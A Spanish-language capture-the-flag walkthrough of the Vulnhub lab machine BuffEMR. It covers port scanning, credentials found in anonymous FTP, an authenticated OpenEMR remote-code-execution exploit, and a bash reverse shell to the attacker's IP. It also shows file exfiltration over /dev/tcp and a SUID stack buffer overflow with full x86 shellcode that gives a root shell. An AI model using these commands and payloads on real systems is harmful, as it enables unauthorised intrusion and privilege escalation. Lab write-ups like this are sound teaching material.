BuffEMR

Enumeración

Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 192.168.6.165.

ping -c 1 192.168.6.165
PING 192.168.6.165 (192.168.6.165) 56(84) bytes of data.
64 bytes from 192.168.6.165: icmp_seq=1 ttl=64 time=0.228 ms

--- 192.168.6.165 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.228/0.228/0.228/0.000 ms

En el output del comando ejecutado en el parámetro ttl se ve que el valor es 64, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Linux.

TTL OS
64 GNU/Linux
128 Windows

Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.

nmap -p- --open -sCV -n -Pn 192.168.6.165 -oN Scan
Parámetros Descripción
-p- Indica que analice todos los puertos del 1 al 65535
–open Únicamente se escanearan los puertos que estén abiertos
-sC Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto
-sV Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios
-n Se evita realizar resolución DNS
–min-rate Indica la cantidad de paquetes que se envían por segundo, en este caso 5000
-Pn Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos.
-oN Exporta el output del comando ejecutado a un archivo en formato nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-16 08:22 CEST
Nmap scan report for 192.168.6.165
Host is up (0.00025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    3 0        0            4096 Jun 21  2021 share
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.6.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 924cae7b01fe84f95ef7f0da91e47acf (RSA)
|   256 9597ebea5cf826943ca7b6b476c3279c (ECDSA)
|_  256 cb1cd9564f7ac00125cd98f64e232e77 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:85:C7:87 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.15 seconds

Los puertos que se han descubierto son:

Puertos Servicio Versión
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 7.6p1
80 HTTP Apache httpd 2.4.29

Vemos que podemos acceder al servicio FTP como el usuario Anonymous.

Al acceder vemos un directorio.

ftp 192.168.6.165
Connected to 192.168.6.165.
220 (vsFTPd 3.0.3)
Name (192.168.6.165:pringles): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 Jun 21  2021 share
226 Directory send OK.
ftp> 

Nos descargamos todo el contenido del FTP.

wget -r ftp://192.168.6.165
Parámetros Descripción
-r Descarga recursivamente.

Búsqueda de Vulnerabilidades

Viendo que está el puerto 80 accedemos a la página.

Y como podemos ver nos muestra la pagina default del servidor web Apache.

Utilizando la herramienta gobuster para buscar rutas en la pagina.

gobuster dir -u "http://192.168.6.165/" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --add-slash
Parámetros Descripción
dir Utiliza el modo de enumeración de directorios y archivos.
-u Especifica la URL a la cual se quiere escanear.
-w Especifica el diccionario que se utilizara parar el escaneo.
-t 200 Indica que se utilicen 200 subprocesos simultáneamente para aumentar la velocidad de descubrimiento.
–add-slash Agrega una barra diagonal “/” al final de cada directorio encontrado durante la enumeración.
-o Se indica que se quiere guardar el resultado en un archivo.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.6.165/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2024/05/16 10:57:47 Starting gobuster in directory enumeration mode
===============================================================
/icons/               (Status: 403) [Size: 278]
/server-status/       (Status: 403) [Size: 278]
/openemr/             (Status: 302) [Size: 0] [--> interface/login/login.php?site=default]
                                                                                          
===============================================================
2024/05/16 11:00:58 Finished
===============================================================

Vemos la ruta openemr.

Si accedo, nos muestra un panel de login.

Buscando por el contenido del FTP, vemos un directorio test donde reside un archivo test.accounts que contiene unas credenciales.

catn 192.168.6.165/share/openemr/tests/test.accounts
this is a test admin account:

admin:Monster123

Si añadimos esas credenciales al panel de login, vemos que nos funciona.

Viendo la pestaña About.

Vemos la versión del OpenEMR.

Explotación

Su buscamos exploits con searchsploit para esa versión, vemos que hay uno que permite ejecutar comandos remotos estando autenticado.

searchsploit openemr 5.0.1
------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                        |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution                                                                                                    | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1)                                                                                                             | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)                                                                                             | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)                                                                           | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)                                                                       | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions                                                                                              | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass                                                                                                               | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)                                                                                               | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)                                                                                           | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)                                                                                       | php/webapps/50087.rb
------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Nos lo descargamos.

searchsploit -m php/webapps/45161.py
  Exploit: OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/45161
     Path: /usr/share/exploitdb/exploits/php/webapps/45161.py
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/pringles/Vulnhub/BuffEMR/exploits/45161.py

Si nos enviamos un whoami vemos que nos funciona.

python2.7 45161.py -u admin -p Monster123 -c "whoami | nc 192.168.6.5 443" http://192.168.6.165/openemr

Sabiendo esto, ahora nos enviamos una ReverseShell.

python2.7 45161.py -u admin -p Monster123 -c "bash -i >& /dev/tcp/192.168.6.5/443 0>&1" http://192.168.6.165/openemr
nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.6.5] from (UNKNOWN) [192.168.6.165] 59792
bash: cannot set terminal process group (691): Inappropriate ioctl for device
bash: no job control in this shell
www-data@buffemr:/var/www/html/openemr/interface/main$ 

Investigando por el sistema, vemos en el directorio /var un archivo comprimido con el nombre user.zip.

www-data@buffemr:/var$ ls -l      
ls -l
total 56
drwxr-xr-x  2 root root     4096 May 15 12:03 backups
drwxr-xr-x 18 root root     4096 Jun 19  2021 cache
drwxrwsrwt  2 root whoopsie 4096 May 15 12:08 crash
drwxr-xr-x 68 root root     4096 Jun 18  2021 lib
drwxrwsr-x  2 root staff    4096 Apr 24  2018 local
lrwxrwxrwx  1 root root        9 Jun 18  2021 lock -> /run/lock
drwxrwxr-x 13 root syslog   4096 May 16 02:00 log
drwxrwsr-x  2 root mail     4096 Aug  6  2020 mail
drwxrwsrwt  2 root whoopsie 4096 Aug  6  2020 metrics
drwxr-xr-x  2 root root     4096 Aug  6  2020 opt
lrwxrwxrwx  1 root root        4 Jun 18  2021 run -> /run
drwxr-xr-x 13 root root     4096 May 16 01:57 snap
drwxr-xr-x  7 root root     4096 Aug  6  2020 spool
drwxrwxrwt  2 root root     4096 May 16 01:55 tmp
-rw-r--r--  1 root root      309 Jun 21  2021 user.zip
drwxr-xr-x  3 root root     4096 Jun 18  2021 www
www-data@buffemr:/var$ 

Nos lo pasamos a nuestra máquina,para poder descomprimirlo.

www-data@buffemr:/var$ cat < user.zip > /dev/tcp/192.168.6.5/1234
cat < user.zip > /dev/tcp/192.168.6.5/1234
www-data@buffemr:/var$ 
nc -lvnp 1234 > user.zip
listening on [any] 1234 ...
connect to [192.168.6.5] from (UNKNOWN) [192.168.6.165] 37168

Vemos lo que contiene dentro.

7z l user.zip
Parámetros Descripción
l indica que se desea listar el contenido.
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 5 2600 Six-Core Processor             (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 309 bytes (1 KiB)

Listing archive: user.zip

--
Path = user.zip
Type = zip
Physical Size = 309

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-06-21 20:11:18 .....          146          127  user.lst
------------------- ----- ------------ ------------  ------------------------
2021-06-21 20:11:18                146          127  1 files

Pero al tratar de descomprimirlo nos pide una contraseña.

7z x user.zip
Parámetros Descripción
x Indica que se desea extraer los archivos.
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs AMD Ryzen 5 2600 Six-Core Processor             (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 309 bytes (1 KiB)

Extracting archive: user.zip
--
Path = user.zip
Type = zip
Physical Size = 309

    
Enter password (will not be echoed):

Buscando dentro del contenido del FTP por palabras como key, pass etc, vemos una supuesta contraseña en base64.

grep -riE "key|pass"
Parámetros Descripción
-r busca de forma recursiva en todos los archivos.
-i Realiza una búsqueda insensible a mayúsculas y minúsculas.
-E habilita el uso de expresiones regulares extendidas, en este caso buscará por más de una palabra.

Si decodificamos esa clave, y la pasamos al archivo .zip, no funciona.

echo "c2FuM25jcnlwdDNkCg==" | base64 -d
san3ncrypt3d
Enter password (will not be echoed):
ERROR: Wrong password : user.lst
               
Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

No obstante, si probamos con la clave sin decodificar, si que funciona.

Enter password (will not be echoed):
Everything is Ok

Size:       146
Compressed: 309

Viendo lo que contiene el archivo, nos fijamos que son otras credenciales, pero para un SSH.

catn user.lst
This file contain senstive information, therefore, should be always encrypted at rest.

buffemr - Iamgr00t

****** Only I can SSH in ************

Accedemos vía SSH con las credenciales obtenidas, y funciona.

ssh buffemr@192.168.6.165
buffemr@192.168.6.165's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

426 packages can be updated.
350 updates are security updates.

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Thu May 16 02:02:53 2024 from 192.168.6.5
buffemr@buffemr:~$ 

Pudiendo ver la primera flag.

buffemr@buffemr:~$ cat user_flag.txt 
    .-.    ))    wWw \\\  ///      wWw \\\    ///()_()                                                                 
  c(O_O)c (o0)-. (O)_((O)(O))      (O)_((O)  (O))(O o)                                                                 
 ,'.---.`, | (_))/ __)| \ ||       / __)| \  / |  |^_\                                                                 
/ /|_|_|\ \| .-'/ (   ||\\||      / (   ||\\//||  |(_))                                                                
| \_____/ ||(  (  _)  || \ |     (  _)  || \/ ||  |  /                                                                 
'. `---' .` \)  \ \_  ||  ||      \ \_  ||    ||  )|\\                                                                 
  `-...-'   (    \__)(_/  \_)      \__)(_/    \_)(/  \)                                                                
 wWw  wWw  oo_     wWw ()_()        c  c     .-.   \\\    /// ))   ()_()     .-.   \\\    ///wW  Ww oo_     wWw  _     
 (O)  (O) /  _)-<  (O)_(O o)        (OO)   c(O_O)c ((O)  (O))(o0)-.(O o)   c(O_O)c ((O)  (O))(O)(O)/  _)-<  (O)_/||_   
 / )  ( \ \__ `.   / __)|^_\      ,'.--.) ,'.---.`, | \  / |  | (_))|^_\  ,'.---.`, | \  / |  (..) \__ `.   / __)/o_)  
/ /    \ \   `. | / (   |(_))    / //_|_\/ /|_|_|\ \||\\//||  | .-' |(_))/ /|_|_|\ \||\\//||   ||     `. | / (  / |(\  
| \____/ |   _| |(  _)  |  /     | \___  | \_____/ ||| \/ ||  |(    |  / | \_____/ ||| \/ ||  _||_    _| |(  _) | | )) 
'. `--' .`,-'   | \ \_  )|\\     '.    ) '. `---' .`||    ||   \)   )|\\ '. `---' .`||    || (_/\_),-'   | \ \_ | |//  
  `-..-' (_..--'   \__)(/  \)      `-.'    `-...-' (_/    \_)  (   (/  \)  `-...-' (_/    \_)     (_..--'   \__)\__/   



COnGRATS !! lETs get ROOT now ....!!
buffemr@buffemr:~$ 

Post-explotación

Mirando los archivos con permisos SUID.

buffemr@buffemr:/$ find / -perm -4000 2>/dev/null
Parámetros Descripción
find / Inicia la búsqueda desde la raíz “/”.
-perm -4000 Busca archivos que tienen el bit SUID establecido.
2>/dev/null Redirige los mensajes de error “/dev/null”.

Vemos un archivo con el nombre dontexecute, (como somos buena gente no lo ejecutamos).

/snap/snapd/21465/usr/lib/snapd/snap-confine
/opt/dontexecute
buffemr@buffemr:/$ 

Vemos que es un binario de 32 bits.

buffemr@buffemr:/$ ls -l /opt/dontexecute 
-rwsrwxr-x 1 root root 7700 Jun 23  2021 /opt/dontexecute
buffemr@buffemr:/$ file /opt/dontexecute
/opt/dontexecute: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3c8287c844acebae4ece08e8c7eefc341e8972e4, not stripped
buffemr@buffemr:/$ 

Tras ejecutarlo, nos pide que agreguemos un argumento.

buffemr@buffemr:/$ /opt/dontexecute 
Usage: ./dontexecute argumentbuffemr@buffemr:/$ /opt/dontexecute ;echo
Usage: ./dontexecute argument
buffemr@buffemr:/$ 

Al añadir un argumento, vemos que no pasa nada.

buffemr@buffemr:/$ /opt/dontexecute whoami;echo

buffemr@buffemr:/$

Si agregamos múltiples caracteres, llega un punto en que el programa no responde.

buffemr@buffemr:/$ /opt/dontexecute $(python -c 'print "A"*200');echo

buffemr@buffemr:/$ /opt/dontexecute $(python -c 'print "A"*1000');echo
Segmentation fault (core dumped)

buffemr@buffemr:/$ 

Esto sucede ya que el registro EIP apunta a una dirección de memoria inexistente.

Es decir, que al enviar las múltiples AAAA llega un punto en el que el registro EIP valdrá x41 (la letra ‘A’ en hexadecimal), y dado que el registro EIP guarda la dirección de la siguiente instrucción a ejecutar, el programa tras tratar de ejecutar la dirección 0x41414141, que no existe, este colapsa.

Nos enviamos el binario a nuestra máquina para poder trabajar con este.

Teniendo el binario, vamos a mirarlo de forma mas clara utilizando la herramienta gdb, que permite ver lo que está ocurriendo dentro de un programa mientras es ejecutado.

gdb -q dontexecute
Parámetros Descripción
-q No muestra el mensaje de bienvenida al iniciar
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.00ms using Python engine 3.9
Reading symbols from dontexecute...
(No debugging symbols found in dontexecute)
gef

Ejecutamos el binario enviándole múltiples letras “A” para tratar de colapsar el programa.

gef➤  r $(python3 -c 'print("A"*1000)')

Aquí vemos los diferentes registros de memoria teniendo el valor de las letras AAAAA.

Nuestro objetivo ahora, es poder controlar el flujo del programa, es decir, llegar al EIP, para luego redirigir el flujo a donde queramos.

Para poder controlar el EIP, primero necesitamos determinar la cantidad de caracteres necesarios antes de comenzar a sobrescribir el EIP, esta cantidad de caracteres se conoce como el offset.

Para ello utilizaremos pattern create para generar un patrón de caracteres.

gef➤  patter create 1000
[+] Generating a pattern of 1000 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
[+] Saved as '$_gef0'
gef

Enviamos el patrón.

Y ahora como vemos, el registro EIP vale “daaf”.

Con pattern offset vemos los caracteres que hay antes de llegar al registro EIP.

gef➤  pattern offset $eip
[+] Searching for '64616166'/'66616164' with period=4
[+] Found at offset 512 (little-endian search) likely
gef

Ahora sabemos que necesitamos 512 caracteres, antes de llegar a sobrescribir el EIP.

Lo podemos comprobar añadiendo 512 “A” y 4 “B”.

gef➤  r $(python3 -c 'print("A"*512+"B"*4)')

Como podemos ver, la dirección de memoria del registro EIP, ahora vale 0x42424242 (“BBBB” en hexadecimal)

Teniendo ya control del registro EIP vamos a ver las protecciones del binario con checksec.

gef➤  checksec
[+] checksec for '/home/pringles/Vulnhub/BuffEMR/content/dontexecute'
Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✓ 
Fortify                       : ✘ 
RelRO                         : Full
gef

Vemos que el NX (None eXecution) está deshabilitado, lo cual nos permite aprovecharnos de la pila ESP, para introducir código a bajo nivel ShellCode, en lugar de añadir las letras “A” y redirigir el flujo del programa en algún punto del ESP para que nos ejecute el ShellCode.

Buscamos un ShellCode para que nos ejecute una /bin/bash como el propietario ya que el binario es un SUID.

Pero antes de que ocurra el Buffer Overflow, el Shellcode será interpretado como cadenas, no es hasta que se logre apuntar a una dirección de memoria del ESP que el Shellcode será ejecutado, dado que el NX está deshabilitado.

Para rellenar el espacio restante del ESP utilizaremos NOPS (No operation Code), ya que son instrucciones de procesador que no realizan ninguna operación, para que al llegar al ShellCode sea ejecutado.

Por lo que ahora necesitamos saber cuales son los NOPS necesarios, para que junto al ShellCode lleguen justo al registro EIP.

echo "512-33" | bc
479

En este caso sabemos que necesitamos 479 NOPS junto al ShellCode, para que lleguen antes de comenzar a sobrescribir el EIP.

Finalmente lo que quedaría seria conseguir una dirección en donde residen los NOPS para así forzar el desplazamiento hasta llegar al ShellCode y podernos ejecutar una /bin/bash como el propietario, en este caso el usuario root.

Enviamos la data desde el GDB.

(gdb) r $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4')
Starting program: /opt/dontexecute $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Y ahora miramos el contenido del ESP.

(gdb) x/500wx $esp

Como podemos observar, en el ESP residen los NOPS que hemos enviado junto al ShellCode.

Por tanto ahora el objetivo es que el registro EIP en lugar de valer \x42\x42\x42\x42, valga una de las direcciones en las cuales residen los NOPS.

0xffffd530: 0x90909090  0x90909090  0x90909090  0x90909090

Pero antes de seguir, como estamos en un binario de 32 bits, vamos a pasar la dirección a Little-Endian, simplemente dándole la vuelta a la dirección.

\x30\xd5\xff\xff

Al enviar los datos, teniendo en el registro EIP una de las direcciones de los NOPS, observamos que nos interpreta el ShellCode ejecutándonos una bash como el propietario.

buffemr@buffemr:~$ /opt/dontexecute $(python -c 'print "\x90"*479 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "\x30\xd5\xff\xff"')
bash-4.4# whoami
root
bash-4.4# 

Y ya finalmente obtenemos la ultima flag.

root@buffemr:~# cat Root_flag.txt 
                                                                                                                                          
                                                                                                                                            
________                __  __                       ____                                  _____                                        ___ 
`MMMMMMMb.             69MM69MM                     6MMMMb                                69M`MM                                        `MM 
 MM    `Mb            6M' 6M' `                    8P    Y8                              6M' `MM                                         MM 
 MM     MM ___   ___ _MM__MM______  ___  __       6M      Mb ____    ___  ____  ___  __ _MM__ MM   _____  ____    _    ___  ____     ____MM 
 MM    .M9 `MM    MM MMMMMMMM6MMMMb `MM 6MM       MM      MM `MM(    )M' 6MMMMb `MM 6MM MMMMM MM  6MMMMMb `MM(   ,M.   )M' 6MMMMb   6MMMMMM 
 MMMMMMM(   MM    MM  MM  MM6M'  `Mb MM69 "       MM      MM  `Mb    d' 6M'  `Mb MM69 "  MM   MM 6M'   `Mb `Mb   dMb   d' 6M'  `Mb 6M'  `MM 
 MM    `Mb  MM    MM  MM  MMMM    MM MM'          MM      MM   YM.  ,P  MM    MM MM'     MM   MM MM     MM  YM. ,PYM. ,P  MM    MM MM    MM 
 MM     MM  MM    MM  MM  MMMMMMMMMM MM           MM      MM    MM  M   MMMMMMMM MM      MM   MM MM     MM  `Mb d'`Mb d'  MMMMMMMM MM    MM 
 MM     MM  MM    MM  MM  MMMM       MM           YM      M9    `Mbd'   MM       MM      MM   MM MM     MM   YM,P  YM,P   MM       MM    MM 
 MM    .M9  YM.   MM  MM  MMYM    d9 MM            8b    d8      YMP    YM    d9 MM      MM   MM YM.   ,M9   `MM'  `MM'   YM    d9 YM.  ,MM 
_MMMMMMM9'   YMMM9MM__MM__MM_YMMMM9 _MM_            YMMMM9        M      YMMMM9 _MM_    _MM_ _MM_ YMMMMM9     YP    YP     YMMMM9   YMMMMMM_
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
________                                           ___        8   8                                                                         
`MMMMMMMb.                                         `MM       (M) (M)                                                                        
 MM    `Mb                      /                   MM       (M) (M)                                                                        
 MM     MM   _____     _____   /M      ____     ____MM       (M) (M)                                                                        
 MM     MM  6MMMMMb   6MMMMMb /MMMMM  6MMMMb   6MMMMMM        M   M                                                                         
 MM    .M9 6M'   `Mb 6M'   `Mb MM    6M'  `Mb 6M'  `MM        M   M                                                                         
 MMMMMMM9' MM     MM MM     MM MM    MM    MM MM    MM        M   M                                                                         
 MM  \M\   MM     MM MM     MM MM    MMMMMMMM MM    MM        8   8                                                                         
 MM   \M\  MM     MM MM     MM MM    MM       MM    MM                                                                                      
 MM    \M\ YM.   ,M9 YM.   ,M9 YM.  ,YM    d9 YM.  ,MM       68b 68b                                                                        
_MM_    \M\_YMMMMM9   YMMMMM9   YMMM9 YMMMM9   YMMMMMM_      Y89 Y89  


COngratulations !!! Tweet me at @san3ncrypt3d ! 



root@buffemr:~#

Aqui se explica con detalle el AutoPWN de la máquina BuffEMR.


© - Mr. Pr1ngl3s